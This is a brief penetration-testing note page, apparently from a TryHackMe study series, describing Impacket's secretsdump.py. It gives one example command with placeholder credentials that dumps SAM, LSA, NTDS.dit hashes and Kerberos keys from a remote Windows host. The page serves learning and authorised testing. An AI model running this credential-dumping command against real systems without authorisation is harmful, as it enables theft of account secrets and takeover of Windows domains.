> For the complete documentation index, see [llms.txt](https://notes.nomanaziz.me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.nomanaziz.me/cybersecurity/penetration-testing/tryhackme/main-methodology/3.-gaining-access-exploitation/windows-applications/windows-active-directory/impackets-secretsdump.py.md).

# Impacket's secretsdump.py

### Introduction

Impacket’s secretsdump.py will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit.

***

### Command Reference:

```
Target IP: 10.10.10.1

Domain: test.local

Username: john

Password: password123
```

***

#### Command:

```bash
python3 secretsdump.py test.local/john:password123@10.10.10.1
```

***